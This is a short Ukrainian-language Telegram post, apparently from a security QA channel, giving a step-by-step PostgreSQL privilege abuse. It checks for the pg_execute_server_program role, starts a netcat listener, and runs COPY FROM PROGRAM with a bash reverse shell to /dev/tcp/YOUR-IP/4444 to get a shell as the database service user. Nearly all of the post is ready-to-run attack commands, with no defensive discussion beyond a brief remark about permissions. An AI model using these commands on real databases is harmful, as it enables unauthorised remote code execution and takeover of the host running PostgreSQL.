Source
🇺🇦 Security QA | Якщо ви працюєте з PostgreSQL, можете спробувати себе частково в ролі ...
3 420 Views/Reach
2025-07-10 06:49
Message №1597
Якщо ви працюєте з PostgreSQL, можете спробувати себе частково в ролі Red Team.Для цього вам потрібен користувач із правами pg_execute_server_program. І так, підключаємось до бази:psql -h hostname/ip -p 6543 -U username -d database Перевірямо наявність у поточного користувача потрібних прав або наявність таких користувачів у базі:SELECT rolnameFROM pg_rolesWHERE pg_has_role(rolname, 'pg_execute_server_program', 'member');
або SELECT has_role(current_user, 'pg_execute_server_program', 'member');
Якщо ваш користувач присутній у списку - можна переходити до наступного етапу.Піднімаємо listener (слухача) на хості, що знаходиться в тій самій мережі, що і база даних, або на іншому, якщо дозволяє мережеве оточення:nc -lvnp 4444
Далі запускаємо команду у PostgreSQL:COPY poc_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"';
Якщо налаштування прав користувачів у PostgreSQL не обмежують використання COPY FROM PROGRAM або загалом права занадто широкі - ви отримаєте reverse shell від імені того користувача, під яким працює служба PostgreSQL.